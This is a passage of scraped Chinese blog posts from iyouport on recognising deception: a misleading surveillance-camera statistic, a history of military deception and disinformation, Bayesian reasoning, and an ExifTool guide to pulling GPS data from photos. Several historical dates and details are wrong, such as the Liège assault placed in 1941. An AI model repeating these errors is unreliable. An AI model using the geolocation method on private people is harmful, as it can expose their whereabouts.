其实这句话严重有问题。请检查它的合理性。

忽略掉“监视视频”，只看基本框架：“90%的入室抢劫案都依靠 …… 得以破获”。这看起来合理吗？

不需要查阅实际统计数据，只需借助你在现实生活中的知识即可：90%的入室抢劫都得以破获，这显然非常不真实。因为对任何警察部门来说，90%的破案率都堪称神奇。

在网上搜索一下，很快找到联邦调查局网页报告，其中写道：大约30%的盗窃案件得到了“清除”，也就是破案。

于是你能知道，那句推销辞令是极度夸张的，不属实的。这家公司的意思更可能是：“已经破获的案件”是借助业主提供的视频破获的。

这两者可不是一回事。

因为样本池不同。

在第一种情况下，我们关注的是所有入室抢劫；在第二种情况下，我们考虑的仅仅是已经被破获的案件，这些案件的数量要少得多。

那么，这是不是说，如果我安装了监视摄像头，警察侦破发生正在我家的盗窃案件的概率就是 90%呢？

绝对不是。

你所知道的仅仅是：如果一个案件得以破获，那么警察在破案过程中得到视频帮助的概率为90%。

但如果你认为现在已经得到了充分的信息可以回答关于“有没有必要安装监视摄像头”的问题，那就真的错了 —— 再回到那个四重表中就可以直观地看清楚。

表格中第一行所需要的数字已经有了：就是破获案件中家庭装有摄像头的百分比；但是，要填写下面的行列，还需要知道：那些没有被侦破的案件中家庭装有摄像头的比例。

要知道，**P**（盗窃案破获｜装有家庭摄像机）≠ **P**（装有家庭摄像机｜盗窃案破获）。

这家生产家庭监视摄像头的公司之所以编造风险数据，是因为其目的在于激起你的情感波澜，从而促使你购买它的产品。

然而，这种产品实际上根本起不到宣传中所承诺的作用。

甚至很容易被骇客入侵而变成随时监视你自己私生活的设备。

亚马逊就是这样骗人的。见：

- 《亚马逊帮助警方构建了一个广泛的监控网络》
- 《亚马逊希望出售"监控即服务"》

信念固执

人类认知方面的一个奇怪特点就在于：一旦形成了某种信念或接受了某种说法，即便在面对压倒性的证伪证据时都无法改变固有的想法。

这就是为什么虚假宣传明明逻辑混乱、证据缺失，却依旧可以骗倒很多人。就如我们在《人格暗杀》中所分析的那样：人格暗杀操纵者胡言乱语毫无根据，但不会影响其暗杀效应。

是人类思维固有的缺陷给了宣传者和所有骗子以强大的信心。

中英文都将宣传称之为洗脑，这很形象，但有些人对洗脑的理解依旧不充分。

要知道，洗脑并非人们能认识到的那些"谎言和恶意欺骗"，相反，洗脑恰恰是人们无法认识到的、无法理解到是被灌输的东西，误认为它们是来自自己"内心的想法"。反洗脑非常难，因为很少有人能知道该从哪开始。

这就是为什么IYP曾经多次对此做出分析。关键部分：

- 旨在改变观点和态度的直接宣传必须具有先前宣传，这种宣传具有社会性、缓慢性、一般性，目的是寻求创造气氛，有利于初步态度的氛围。没有预先宣传，任何直接宣传都不会有效……《操纵式宣传：五个过滤器和识别线索》
- 如果你认为所有事情至少都是预先确定的，那么你就不必为所发生的事的任何特定部分承担责任。 更重要的是，你不必记住真实过去发生的事，因为那些替代品已经死了。你认为那些东西不可能回来。《在线宣传战的结果》
- 在宣传战中你支持任何一方都只能是被利用。《宣传战的诡迹：政治宣传最常用的模式》
- 《「可视化信息战」 第 1 部分：在线媒体上的政治宣传、压迫和攻击》
- 《警惕微妙的劝导术："宣传即侵略"—— 埋下诱饵 乖乖上钩》
- 《警惕微妙的劝导术：政治宣传和大众劝导—— 你可能没意识到的信息陷阱》

- …… 还有更多。本系列就是。

这也是为什么要强调接受逻辑和分析能力相关的培训非常重要：以帮助突破人类固有的思维弱点。目前的高等教育对批判性思维的重视已经严重弱化，这是很危险的。

坚信只有自己是正确的的确可以加强自信心，但也有可能很危险；批判性思考中的重点之一就是对自身思想的批判，这样才有希望真正走出被蒙蔽的状态。

在这里看到联合国酷刑问题特别报告员 Nils Melzer 讲述的关于他如何走出了被政府操纵的主流媒体的恶意蒙骗。 〇

—— 未完待续——

原文

让你看见 — 欺骗的积极方法之二（5） - iyouport

免费书和纪录片战略性欺骗-识别和抵制

【2019年8月20日存档】隐真只是一半工作，如果你让你的对手什么都看不见，对方肯定会心存疑惑，更加希望深挖你的秘密。这就会令你被置于目标的位置上。

⚠不论是现实中的隐身还是对峙行动中的隐藏，都少不了示假—— 即让对手看到错误的情报，并信以为真，以避免对真实情报的兴趣。

拒止的根本目的是隐真，但随着现代侦查技术的发展，以拒止方法隐藏行为意图以欺骗对手的难度越来越大。

孙子兵法说“形人而我无形”。⚠然而，“无形”往往会让对手认为是山雨欲来前的平静，反而更加提高了警惕、积极实施侦查。

因此，在隐瞒真相的同时还必须通过“示形”的方法，展示虚假的、误导性的、甚至是真实的但经过剪裁的“半真相”，来吸引、转移欺骗对象的注意力，影响其侦查和战略决策的分析判断。

“示形”也是孙子“战胜策”中最常见的形式。孙子兵法的“十二诡道”都是示形。

美军曾把信息战分为战略信息战和战场信息战两大类，其中战略信息战包含：心理战、情报战、宣传战、战场伪装、指挥控制战，其中的战场伪装就是“示形”；其他几种作战样式也都离不开示形。

前苏军总参谋长洛博夫大将的《战争中的谋略》一书将军事谋略定义为：隐蔽性和迷惑敌人的理论与实践，也是强调“示形”和用诈。

隐形和示形的侧重点不同，功能也不一样。

隐形代表的是战略性欺骗的消极方面，示形代表的是战略性欺骗的积极方面；隐形的目的千篇一律，即 不让真相被对手发现，而示形则明

确规定对手能看到什么、听到什么。

隐形的宗旨是隐藏真相，而示形则是要展示假象。

⚠隐形的方法带有强烈的技术色彩，示形则需要使用政治、外交、战术、技术等多种手段的综合。

隐形可能不会引起对手的反应，而示形明确要求影响对手的行为。

推荐一本书《The Deceivers: Allied Military Deception in the Second World War》, Thaddeus Holt

因此，🌤示形的目的更明确，手段更积极，目的与手段的联系更加直接。

尽管如此，隐形和示形殊途同归，目的都是欺骗对手的视听，扰乱对手的思维，促使对手作出错误的反应。⚠只有将隐形和示形结合起来，才能使战略性欺骗的效果最大化。

我们提供过的《分裂人格的魅力》《角色扮演》《袜子木偶》都属于示形的一种；而《自我人肉》则是隐形的第一步基础工作。

真正的对峙中要比这更加负责和多样。

制造假象的措施大致有三种，即 模仿 mimicking、无中生有 inventing、和设置假目标 decoying。在作战中它们被统称为模拟 simulation。它们都是主动的欺骗策略。

1、模仿

模仿就是用一种事物复制另一种事物，复制多个方面，以此来展示虚假的事物。需要复制某一事物的多个特点，以无限接近被复制事物的类型。

与机器一样，人类判断一件事物的时候也是通过抓取其各种特点来定位的，于是复制者需要能精准捕捉这些特点，⚠准确说是你的对手做判断时所基于的特点，才能做到以假乱真。

1941年，艾米希将军仅用了六个旅、区区两万人的部队就攻下了比利时的列日要塞，因为他的部队是从五个军团中抽出士兵组成的混合部队。比利时情报部门从俘虏的情况中分析，便以为他们面对的是五个军团的力量，也就是超过15万人，于是他们撤离了步兵。

在“卫士”计划下，盟军派出了一名中尉冒充蒙哥马利前往直布罗陀和阿尔及尔视察。这名中尉不仅在相貌、体态、举止方面，都与蒙哥马利极其相似，而且，经过特殊训练后，对蒙哥马利的生活习惯、性格脾气、神态气韵、说话语气，掌握得非常精巧。

英国情报机构还故意放出消息，称蒙哥马利此行旨在编组英美联军，准备在法国南部海岸登陆。

这些举措果然骗过了训练有素的德国间谍，连蒙哥马利的密友 ——直布罗陀总督沙拉尔将军，也信以为真了。

2、设置假目标

模仿是模仿一个已存在的事物，设置假目标则是通过呈现另外一个事物来展示虚假的东西。

它要创造一个或多个特点，形成一个全新的类型来实现。

就如魔术师通过创造假人来展示一些“替代”效应，将军们会建造一些橡胶坦克、木枪、帆布飞机，以及虚假的无线电传输，来操纵对手的认知；海军将领也会制造一些假的战舰。

1901年，美军范斯顿上校让他的士兵穿上菲律宾土著摩洛哥人的服装，抓获了其领导人吉纳尔多。

⚠欧洲的游击队曾很多使用过这种方法。此举在细节方面应特别小心，因为你的对手具备很高的反渗透能力，他们懂得如何在细节特点中挖掘一个人的真实面目。

⚠美国战略情报局的外勤特工讲过一个故事，当时被派往法国的间谍要学会将香烟一直吸到烟蒂处。有一次，一名特工扔掉了吸了一半的香烟，结果因此被盖世太保抓捕。因为在香烟紧缺的法国，节俭的普通人是绝对不会这样做的。

二战期间英军在中东地区的“A部队”就是一支专门从事模拟的专业部队。美军于1943年成立了第23特别大队，共有82名军官和1023名士兵，所使用的“武器”只是一些橡皮坦克、橡皮大炮、橡皮军车，不断变换的肩章符号和扩音设备。

1944年和45年，这个大队先后*扮演*了第五装甲师、第四步兵师、第六装甲师等部队，由于模仿过于逼真，不仅迷惑了德军，连友军都信以为真了。

在卢森堡南部，他们装扮美军装甲师，白天摆出几辆假坦克让德国人侦查，夜间播放坦克、车辆开动和人员喧闹的音响，牵制德军一个师长达七天之久。

在德黑兰会议上，斯大林向丘吉尔介绍苏联军事欺骗的经验，其中特别提到了设置假目标。为掩护从左翼向德军发动进攻的第20集军团，苏军在右翼集结了大量假坦克和假火炮，并用喇叭大放坦克马达的声音。为了将德军轰炸机引开，苏军使用了大量的伪装，引来了上千次德国空军轰炸。

⚠使用假目标实施欺骗的要求非常严格。1、在配置上必须合乎技术要求；2、外貌要逼真，在高科技侦查的背景下尤其如此；3、道具必须像真实目标一样有活动的征候，让对手在视觉、听觉和仪器探测上都找不到破绽。

和人物伪装一样，战略伪装一方面可以掩盖假目标的某些缺陷，另方面也合乎人的心理，太明显的目标反而容易引起怀疑。

在科索沃战争中，南联盟军就是采取的伪装欺骗以保存实力的。结果是，南联盟军损失非常小，而北约空袭的效果很差，出乎各方面的意料。只因为他们的假目标足够逼真，骗了北约连续数天的全力轰炸。

3、牵制（佯动）

牵制指的是在准备阶段同时在几个不同的方向上部署部队。对欺骗对象进行虚张声势的进攻，以逐渐麻痹对手，使其放松警惕，隐蔽己方的真实战略意图。

⚠牵制的目的不是消灭对手，而是吸引对手，拖住对手，减轻对手对正面作战的压力，使对手处处薄弱，难以形成集中攻势。

牵制的一个重要特征就是，以少牵多。就像打地鼠游戏，其实真实的“老鼠”并不在那些洞里。

希特勒为了掩护巴巴罗萨计划采用的就是牵制欺骗行动。

希特勒把“海狮”这一真正的作战行动变成了欺骗行动的序幕，他精心准备的欺骗行动还有“鱼叉计划”、“鲨鱼计划”、对英国大规模轰炸等；随机应变的欺骗行动有“巴尔干战争”、“默丘利”作战计划等，还有一些其他的计划，都在一定程度上掩饰了巴巴罗萨的实施，斯大林陷入了这一圈套。

⚠有时佯动是为了给对手制造一个“狼来了”的印象，不断继续，对方就会变得麻木，等到真正的攻击到来时仍一头雾水。

第四次中东战争中埃及就采用了这一方法。他们每年秋天都进行一场为期一周的大型军演，而且规模一次比一次大。以色列人一开始对这些演习很紧张，之后开始警戒，再之后就变见怪不怪了。直到1973年埃及再次“演习”，而就在演习期间突然爆发了真正的战争。

4、佯攻

佯动可以转移对手的注意力，但由于它不与对手接触，缺乏进攻的真实感，容易被对手识破。

⚠为使佯动具有可信性，就需要佯攻，这也是一种牵制性的手段。

佯攻具有进攻的性质，需要与对手接触，从而使对手认为这是一场真正的进攻。

该计划应该符合整个作战目的，误导对手的反应。佯攻可以使对手错误地投入兵力，使其力量远离主攻方向，或者牵制对手的兵力，使其难以动弹。

利用佯攻需要因时而异，灵活机智，变幻莫测。⚠时机成熟时佯攻就可以变为主攻，以达到出其不意的目的。

有时也可以反过来用，诱使对手误认为主攻才是佯攻，于是不敢轻易动用主力部队，从而陷入被动。

1950年仁川登陆前，美军就使用了佯攻。美军在群山港附近的荒岛上举行登陆演习，同时派出联合突击队对群山港进行军事侦察，并对朝鲜东海岸和西海岸实施火力准备，英国轻型航空母舰和美国重巡洋舰攻击了平壤外港镇和达阳岛，以造成主要登陆点在群山地区的假象。

这些欺骗行动都成功隐藏了仁川登陆的计划，牵制了朝鲜的精锐部队，并进一步削弱了北方的防御力量。

苏联是佯攻欺骗的大师。1941年苏军最高统帅部在斯大林格勒执行“天王星计划”的同时，在莫斯科西北方向展开了具有牵制性的“火星战役”。

在发起库尔斯克战役之前，苏军最高统帅部发布命令，一旦战争打响，相邻方向的各个方面都要发起进攻。最高统帅部命令崔可夫的62

军团和库兹涅佐夫上将的近卫第一集团军利用德军主力被牵制在库尔斯克的机会，向顿巴斯发动进攻。

通过实实在在的进攻使欺骗显得非常逼真，这不同于盟军诺曼底登陆前的欺骗，这与苏联拥有大批人力资源密切相关。⚠由于助攻和主攻拥有同样的实力，因此主从转换就格外容易了，令对手很难摸清主攻方向。

为了掩护古巴部署进攻性武器的行动，苏联在柏林问题上向美国施加巨大压力。美苏在柏林对峙，战争几乎一触即发。赫鲁晓夫一再表示，在柏林问题上“美国已经拉开了战争序幕”。

由于柏林局势紧张，美国政府的高级官员大多对苏联在古巴的军事行动不以为然，以为欧洲才是美苏对抗的“重点”。实际上柏林紧张局势只是赫鲁晓夫的障眼法，为转移美军注意力而设计的。

5、假情报

也就是通过各种手段发布假消息，以掩盖自己的战略企图，混淆视听，误导对手的决策。

假情报这个词是第一次世界大战期间德国总参谋部采取的。20年代，苏联的契卡也采取了这一术语，自此一直为苏联国家安全部门和军事情报部门所使用。

由于苏俄情报机构对这一概念运用得非常广泛，以致于美国官方直接将其翻译成欺骗。但是俄国人非常谨慎地将它与形态上的伪装区别开。

假情报的载体有多种，作战地图、作战计划、命令、外交信函、会议记录、胶片、磁盘等存储器、甚至战俘，都可以用来传递假情报。

⚠随着科学技术的进步和新闻业的发展，新闻欺骗战也已经成为重要的战略性欺骗手段。通过新闻散步布假情报，不仅瓦解士气、制造混乱和矛盾，还可以迫使对手作出错误的判断。

我们将在未来详细介绍渗透者的操作方式，其中就包括这点，虽然是辅助手段这一。

早期的假情报活动带有浓厚的随机性，但是假情报的发布均由情报部门控制。比如二战时期的德军谍报局、伦敦监督处等，克格勃第一总局下属还有一个专门的假情报部门，以集中制造和散布假消息。

⚠假情报往往很好用。由于对手的决心来自于他们掌握的情报，于是向对手传递假情报就成了诱使对手下定错误决心的极为重要的手段。

主动提供现成的情报，既是假情报这种欺骗方法的基本特征，也是它的隐形法和示形法的主要区别。

运用隐形法和示形法实施欺骗时，欺骗者向被骗者提供了*现象*，情况判断的结论是由被骗者做出的；而假情报提供给被骗者的不是现象，而是*结论*，其主要形式是以文字、图表、音像材料为载体的假情报。

当然，情报形态并不是假情报方法的唯一标示。

比如，把战俘关押在隔壁房间，使之偷听到欺骗者关于下一次行动的谈话，然后给战俘一个机会让他逃脱，把偷听到的内容报告给对手。尽管战俘没有带走文字形态的情报，但这种方法也属于假情报范畴。

1943年，盟军计划在西西里岛登陆，为转移希特勒的视线，盟军实施了代号为“肉馅行动 operation mincement”的欺骗行动。

一具尸体经过精心的伪造变成了所谓的“马丁上校”，尸体携带的消息是：“西西里岛只是一次佯攻，目的是为进攻撒丁岛和希腊做掩护”。德国人信以为真了，放松了对西西里岛的防备。

还有一个伟大布局的假情报案例（想想看，主流媒体传统规则中的“两个及以上消息源确认”，是多么的无能和愚蠢）

1944年的“卫士”计划中，盟国欺骗机构在瑞典散布假消息，说，“英美的军事工程师正在调查瑞典火车和路基的负载压力，这些调查与盟军计划从挪威向波罗的海运送装甲部队有关”；“英国空军在视察瑞典军用机场的跑道和停机坪”；“西方国家正在为盟军就德国波罗的海海岸对面的哥得兰、厄兰德等地的过境权和港口设施使用权问题进行谈判”……等等。

甚至有人劝说瑞典公民修筑防空掩体、储备食物和燃料。也就是刺激恐慌的心理战，越多人相信欺骗效果就越好。

就在谣言越来越多的时候，瑞典的证券交易所又传来了新的信息：伦敦和纽约股票投机商们正在大量买进长期以来一直不景气的斯堪的纳维亚股票，这就使谣言变得更加可信了。

这场精心策划的骗局使希特勒不仅没有将驻守在挪威的德军调往法

国，而且还为了对付盟军“即将到来的入侵”加强了在那里的兵力。

假情报的第二种表现形式是：破坏对手的威信、中伤其信誉、影响其与盟友的关系 —— 这些方面在警方对反对派的渗透中也往往是主要被采用的伎俩之一，我们会在将来专门讲述关于渗透操控的手段。

对于假情报来说，比如冷战时期，苏联情报机构利用著名作家 Mark Lane 编造肯尼迪被暗杀的理论，利用中情局的背叛者 Philip Agee 诋毁中情局，散步关于胡佛是同性恋的消息，并诋毁马丁路德金，说他是“政府的线人”。

⚠对于这些手段中国读者应该都不陌生。是的，它们很有“传统”。

1972年，尼克松访问加拿大前夕，一些暗示美国中央情报局与魁北克极端分子有联系的伪造文件到处散播。1982年的马岛战争后，克格勃伪造了里根总统与撒切尔夫人通话的录音带。录音里里根指责撒切尔夫人应该对谢菲尔德号巡洋舰的沉没负责，而撒切尔夫人则反驳说苏美中程核武器谈判的失败应该全怪在里根头上。

其实全都是不存在的东西。但上述都是稍微用心就可以拆穿的。⚠如今在机器学习的帮助下，伪造逼真的假货已经变得无比容易，甚至无法辨别真伪。在这看到更多介绍《当恶意者掌握技术：信息战的未来究竟有多可怕？》

借刀杀人是这种欺骗手段的高级形式。例如30年代，德国情报机构利用斯大林的疑心，伪造图哈切夫斯基元帅与德军勾结的情报，借斯大林之手杀死了苏军最有远见的将领，从而为德军消除了一个极具威胁的对手。

⚠想想看，如果反对派“得知”其最有成功希望的领袖“通敌”，其结果会是什么？

假情报活动应与拒止紧密结合，因为拒止能消除、减弱、降低和破坏对手搜集情报的能力，有效降低对手的攻击水平。

而在针对某一目标的侦查手段越单一、情报来源越少的情况下，对手就越是依赖那些极少数尚且通畅的信息渠道，而且，随着拒止的深入，对手会更加急切地采取这些渠道，这就为欺骗方发布虚假消息提供了便利。

⚠请注意，完全虚假的情报不可能达到欺骗目的，所以假情报不可以完全是假的。

1942年，苏联特工杰米扬诺夫向德军谍报局报告，说苏军将与11月15日在北高加索和 Rzhev 附近发动进攻。德国人在 Rzhev 方向投入了重兵进行防卫，苏军进攻受挫，一个月内苏军伤亡193000人。

正是这些人血提高了杰米扬诺夫在德军谍报机构的威信。东线外军处处长高度评价杰米扬诺夫为“主要情报来源”。然而，杰米扬诺夫此后提供的关于库尔斯克战役的情报都是假的，德军一再受挫。

战争就是这么无耻，那**193000**人实际上是死于自己人之手。

A部在当年的伪造技术就是炉火纯青的。一份伪造的《稳定行动特别情报作战训练》经过了美国中央情报局的鉴定，在文风、结构和用词上几乎没有任何破绽，并且使用的最是合适的打印机、纸张，于是外人完全不可能看出是假的。

克格勃伪造的假情报大多有一个真实的文件为蓝本，但其内容、目标却与真实文件大相径庭。

一份以绝密文件形式出现的《NR100–6》提到，一旦美国情报获悉苏联即将发动进攻，美国将进行先发制人的打击，北约国家也在美国的攻击范围内。

这就是半真半假的：美国确实有这种先发制人的核打击计划，但美国的盟国不在攻击范围内。

下一篇文章将介绍识别战略性欺骗的一些主要途径。既然是攻心的招数，其防御和反攻也大致基于心理角度。

⚠中国有着悠久的战略性欺骗传统，中国的兵法知识一直被西方国家奉为圣典。但请注意，采取欺骗招数的往往都是权势，而反权势的人们却继续奉行着“行不更名坐不改姓才是光明正大”的被灌输价值观，不仅失去了重要的反击能力 即拒止，并且在行动的诸多方面严重被动。

—— 未完待续 ——

原文

如何知道自己不知道什么：防骗战术（6） - iyouport

战略性欺骗-识别和抵制

【2019年11月20日存档】针对谎言的唯一方式就是：让每个人都掌握批判性思考

我们继续关于欺骗的话题（准确说是防骗）。

如果您还没有读过本系列前面的四篇文章，在这里看到：

- 《“让数据说话”只是个唬人的幌子：识破谎言（1）》
- 《数轴有鬼：用数据可视化撒谎很简单（2）》
- 《恶搞统计数据：小心媒体用统计忽悠人（3）》
- 《看起来专业不意味着正确：反知识的迷惑性（4）》
- 《编造概率和编造风险：欺骗者如何利用你的思维漏洞（5）》

一般来说，关于已知和未知大约有以下四种情况：# 已经确认知道；

- 知道自己还不知道；
- 不知道自己不知道；
- 不知道自己已经知道。

1. 《媒体操控：战略性欺骗的重头戏》

- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》

有些事情之所以会造成糟糕的和致命的后果，主要原因就在于，人们相信了那些不真实的说辞。

思考很重要。有些时候好的思考方法可以保命 —— 比如在反抗运动的对峙中。

这就是本文希望说的事。

贝叶斯思维

在贝叶斯概率中，根据新近得到的数据或先验概率，你就可以把自己对某事物的认识进行修正或更新 —— 假定你表现出了某种症状，计算你患有某种疾病的概率；或假定选民的居住地点，计算他们会投票给谁的概率，等等。

更多：《投票心理学：行为成因分析 帮你抵制宣传的迷惑》

在计算贝叶斯概率时，首先给假定条件指定一个带有主观性的概率 —— 称为事前概率，然后根据所收集的数据对这个概率进行修正 —— 所得出的即为事后概率。

在检验假设之前，如果已经有理由认为它是真实的，那么用不了太多的证据就能将其证实；相反，我们认为假设不太可能成立，就需要更多的证据加以证实。

从贝叶斯算法的角度来说，可能性不大的表述与可能性较大的表述相比，前者需要更强有力的证据。

更多：《关于什么是证据，什么是调查》

在使用贝叶斯概率时，上面那个四重表就是方法之一。

有些证据与我们的已知情况相一致；但相比下，科学家应该为那些与标准理论或模型相悖的证据设置更高的检验门槛。

贝叶斯概率法并不是处理不可能事件时可以采用的唯一方法。在探索希格斯玻色子是否存在时，物理学家们设定的门槛要比一般门槛的严格度高出五千倍 —— 并不是说希格斯玻色子存在的可能性很小，而是犯错的成本太高。

司法科学界的例子也非常能说明贝叶斯法则的应用。法国物理学家 Edmond Locard 指出：凡接触必定留下痕迹。

Locard 认为，嫌疑人要么留下了证据，要么带走了证据，比如他的举止、身体、或衣服上，表明他曾经去过什么地方或做过什么事。

下面举一个例子（演示）。

假设有一名嫌疑人在比赛前进入马厩给马下药，那么他必定会在现场留下一些痕迹 —— 脚印、皮肤碎屑、头发、衣服碎片等等。同理，他也会带走马厩的泥土、马的毛发、地毯纤维，以及其他东西。

现在假设有人在事发第二天被捕。警方从他的衣服、双手、指甲中取得了证据样本，并发现这些样本和证据现场的样本具有相似之处。

检察官要评估这些证据的作证力度。因为嫌疑人有罪，所以两种样本具有相似性；或者嫌疑人无罪，但与犯罪分子接触过，这种接触会留下痕迹；再或者嫌疑人在事发时身处另一处马厩，于是导致两种样本有相似性。

客观概率，比如犯罪嫌疑人的DNA与犯罪现场采集的DNA相匹配的概率；和那些个人的主观看法，比如证人的可信度，或者警方罪案调查科负责管理DNA样本的警官的诚信度。使用贝叶斯法则可以将它们结合起来。

嫌疑人有前科吗？或者他是否对赛马一无所知？是否具有充分的不在场证明？……这些因素都可以提供很好的主观概率。

美国司法系统有这样一种假设：在被证明有罪之前，嫌疑人一概无辜。

如果直接搬运这条假设，那么犯罪嫌疑人有罪的事前概率就为零，并且任何证据 —— 不管有多糟糕，都不会产生一个大于零的事后概率，因为你的计算结果总要乘以零。

建立嫌疑人无罪的事前概率还有一种更为合理的方法，即 把统计群组中的每个人的作案概率皆视为均等。这样一来，如果嫌疑人属于一个拥有十万人口的城市，并且调查人员有理由相信作案者是这个城市的公民，那么嫌疑人有罪的事前概率就是十万分之一。

当然，证据肯定能够缩小统计群组的范围。比如确切知道现场没有强行闯入马厩的痕迹，那么嫌疑人肯定是50名能自由出入马厩的人员之一。

这样，事前假设是嫌疑人有罪的概率是0.02。现在假设嫌疑人和马发

生过撕扯，现场发现了人的血迹。检测发现，嫌疑人血样的DNA与取自犯罪现场血样的DNA匹配的概率为0.85。

按照这些信息创建四重表。

首先填写下方的方格：嫌疑人有罪的概率为0.02；无罪的概率为0.98；DNA匹配概率为0.85，于是左下方的数字必定为0.15。（上下方两个方格的概率之和必为1）

血液相匹配的概率0.85，也可能意味着其他事：其他人在现场留下血迹的概率为0.15，而此人并不是嫌疑人。

再看那个0.15，用 49*0.15 得到7.35，把这个数字填到右上方格中；再用49减去它，从而得到右下格的数字。

这就是法官和陪审团需要评估的信息：

P（嫌疑人有罪 |血液相匹配） = 0.85/ 8.2 = 0.10

P（嫌疑人无罪 |血液相匹配） = 7.35/ 8.2 = 0.90

上述证据说明，嫌疑人无罪的概率大约是其有罪概率的9倍。

计算的起点是他有罪的概率为0.02；所以新的信息实际上使他有罪的概率增加了5倍。尽管如此，他无罪的概率仍然很大。

然而，现在假设有出现了新证据 —— 在嫌疑人的外衣上发现了马的毛发，而且毛发属于被下药的马的概率为0.95（属于其他马的概率仅为0.05）。

现在就可以把贝叶斯概率串联起来了，重新填写一个表格。

于是，现在通过计算可以看到：

P（嫌疑人有罪 |证据） = 0.68 P（证据 |嫌疑人有罪） = 0.95

P（嫌疑人无罪 |证据） = 0.32 P（证据 |嫌疑人无罪） = 0.05

新的证据表明，在假定新证据真实的条件下，嫌疑人有罪的概率大约是其无罪概率的两倍。

上述演示看起来很简单，但是现实中很多法官和律师并不懂得如何采用这样的方法来组织证据；**P**（嫌疑人有罪 |证据）=**P**（证据 |嫌疑

人有罪）的错误非常普遍，它甚至有一个名字叫“检察官谬误”（prosecutor’s fallacy）。

但现在你已经明白了这个方法是多么有用。下次再涉及冤狱时你的博客文章可以比法官更有说服力。

实际上贝叶斯算法可以通过数学计算完成，而无需那个四重表。

贝叶斯法则用公式可以表示为：

「图」

对于上述例子，使用这样的概念： G 代表事前概率，即 犯罪嫌疑人有罪（在了解到实验室报告之前）， E 代表血型相匹配的概率，而目的是计算 P（ G | E）。

将这些数据代入上述贝叶斯法则公式，可得到：

「图」

为了计算贝叶斯法则并且求出 P（ G | E），需要借助下表：

最后

在《1984》中，大洋国的政府宣传机构负责篡改历史记录和其他文件，以表达政府的宣传议程。必要时真理部还会提出如“2＋2＝5”。

这种情况直到今天依然存在。看一个最近的例子《宣传大方向令企业媒体忘记了幼儿级数学题的做法》。

不幸的是，在互联网时代，人们想要弄清一个报道是真知识还是反知识，已经成为极其困难的事。

正如本系列6篇文章所演示的，不论是专家还是媒体，都不可完全信任，政客更不用说了，他们满嘴都是谎言。

在反科学的偏见已经进入公共语话和网络世界的今天，只有最严谨的批判性思考才能保住真相。

批判性思考是一种积极的、持续不断的过程，并用新的信息去更新自己的知识。就如上述演示中希望呈现的。

花费时间在评估表述上并不意味着很好地利用了时间，它还应当被看

作隐藏在我们所有人讨价还价过程中的一部分。

从前，收集信息并加以分析所需要的时间从数个小时到数周不等，而现在，只需几秒钟便能完成。以前，人们要去图书馆和距离很远的档案馆，或者在厚厚的书本中查阅所需的信息，这些都要花费很长的时间。今天在这方面已经节省了大量时间。

我们都需要把那种隐性的讨价还价转化为显性。

隐性的讨价还价指的就是把自己在获取信息方面节省出来的时间用于进行恰当的信息核实工作。

正如你很难再相信那些曾经向你撒过谎的人一样，如果你自己的一半知识都属于反知识，那么你也很难再相信自己。

实际情况是，现在反知识在整个互联网上俯拾皆是。

与大量不具备确定性的事情相比，如果我们能够知道差不多数量的具有确定性的事，便会获益良多。

反知识和错误信息的成本可能会非常高昂，甚至可以改变历史走向。就如我们曾经在《伪真相》中分析的那样。

本系列提供的简单知识完全可以帮助您走在撒谎者和轻信者的前面。○

原文

挖掘数字图像：安全地自动批量提取位置数据 - iyouport

公民调查指南-不再吃瓜开源情报-每个人都可用的武器

不推荐使用在线平台，尤其是当您的调查涉及敏感的政治问题和人权迫害时，这些在线平台的服务器不会是那种能让您感觉放心的地方

这是一份操作指南，涵盖了在桌面上使用开源元数据提取软件和从大量图像中提取地理位置信息的基本步骤。

当使用智能手机或相机拍摄一张图片时，通常会附加某些元数据字段。这些字段可能包括相机的型号、拍摄时间、是否使用了闪光灯、快门速度、焦距、甚至是位置。您可以在这里看到具体介绍。

从图像中检索地理位置数据有几种方法，最简单的是使用在线工具，如 readexifdata.com 或 Jeffrey 的 Exif查看器，用户可以上传图像并查看现有的元数据信息。然而，用户不可能知道这些在线服务是如何工作的，以及当上传的图像被上传到未知的服务器时，其安全性如何，而且通常这些在线服务在给定时间内可以处理的图像数量上是有限制的。

本文提供的方法包括两点：在您的桌面上使用开源元数据提取软件的基本步骤；以及，如何从大量的图像中提取地理位置信息。

安装

「图」

ExifTool 是一款可以读写和编辑不同元数据格式的软件，包括 EXIF、GPS、IPTC、XMP、JFIF、GeoTIFF、ICC Profile、Photoshop IRB、FlashPix、AFCP 和 ID3。它是一个具有多种可能性的强大工具，它为用户提供了按元数据组织图像和提取地理位置信息的选项。

您可以通过他们的网站获得源码并下载 ExifTool，或者您应该能够使用您自己的软件包管理系统，如 yum、pacman、apt-get 或 brew，在任何UNIX操作系统（MacOS或Linux）上轻松安装它。

这个例子展示了如何在 Debian 终端上安装 ExifTool：

```
//sudo apt-get install exiftool//
```

读取图像元数据的基本用法

「图」

进入终端，输入以下命令: exiftool Ibiza.jpg，使用您正确的图像路径和文件名。

正确的路径取决于文件的存储位置，如果它在您的桌面上，正确的命令应该是 “exiftool /home/user/Desktop/Ibiza.jpg”

您应该期待看到一个描述图像的数据列表，比如下面这样：

从上面的元数据信息中，可以看到图像的地理位置、拍摄的手机（本示例中是iPhone 4）、拍摄的确切日期、图像是亮是暗（等级），等等信息。为了使这种地理定位被大多数在线地图服务处理，您必须提供一种不同于 ExifTool 默认格式的方式来表示经纬度。

简洁的格式是用-c参数设置的，如下面的命令所示。在您的终端键入以下命令：

```
//exiftool -c “%.6f” Ibiza.JPG//
```

「图」

这样，您就可以用这个位置进行反向地理编码 —— 从这些坐标数据中获得可读的地址或地名数据的过程。Nominatim OpenStreetMap 网络服务可以提供与这些坐标相关的精确地理元数据。

也可以仅通过查询此纬度和经度在 OpenStreetMaps 上直接搜索它。

处理大量的图像

「图」

然而，想象一下您有50、1000或100000张图片，您想看看它们是否有与图片相关的地理位置元数据。

要单独检查每一张图，几乎是不可能的。在进行调查时，这种地理位置信息可能是非常重要的一块拼图。然而，当用户将图像上传到服务器时，社交媒体平台通常会剥离这些元数据，而个人在网上上传图像时也可能会剥离这些元数据。

如果您错过了《社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？》

